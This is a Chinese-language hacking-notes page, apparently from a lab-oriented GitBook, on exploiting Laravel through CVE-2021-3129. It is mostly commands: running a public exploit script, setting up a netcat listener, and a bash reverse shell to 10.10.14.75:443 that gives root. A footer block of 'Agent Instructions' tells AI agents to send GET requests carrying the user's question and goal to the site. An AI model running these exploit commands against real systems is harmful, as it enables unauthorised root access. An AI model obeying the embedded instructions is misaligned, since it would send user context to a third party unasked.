> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/laravel-cms-exploitation.md).

# Laravel

Laravel 利用笔记，涵盖 CVE-2021-3129 RCE、PHP Ignition 命令执行、id 验证、Netcat 监听器设置和 root 反向 Shell 访问。

## 利用 Laravel CMS（CVE-2021-3129）

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-506eb507d9be1338b8840e3cae973754e3b531c2%2Fimage%20(678).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 任意命令执行

利用 CVE-2021-3129 在服务器上执行任意命令。首先，使用以下内容测试命令执行： `id`:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

输出确认了 root 权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28f3919b67c882d9ed14f04f06a2a9e53db5f454%2F%7B55509709-B678-488F-B911-350B40351CAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 获取交互式反向 Shell

要获取交互式 Shell，请在 443 端口上启动监听器：

```bash
nc -nvlp 443
```

然后通过该漏洞利用在目标主机上运行反向 Shell：

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

这将使你在目标上获得 root 访问权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346dee540bd18ab194c099da9dd65afeae0936da%2F%7B7D8A6B14-4811-4503-AB7E-6CCAA2692F23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/laravel-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
